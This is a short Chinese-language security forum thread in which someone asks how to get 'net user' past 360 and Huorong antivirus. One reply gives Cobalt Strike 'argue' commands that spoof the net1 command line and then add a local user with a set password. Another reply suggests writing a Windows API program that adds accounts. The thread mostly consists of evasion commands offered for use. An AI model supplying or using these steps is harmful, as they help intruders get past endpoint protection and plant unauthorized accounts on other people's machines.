师傅们 执行 Net usr的时候被360 火绒拦截了 有什么思路绕过吗?

请先 登录 后评论

2 个回答

空城 - 安全小菜鸡

使用cs中argue参数绕过杀软添加用户

#参数污染net1argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx


#用污染的net1执行敏感操作execute net1 user butian 1qaz@WSX /add

请先 登录 后评论
mix
或者使用Windows API编写一个添加账户的exe也可以绕过!
请先 登录 后评论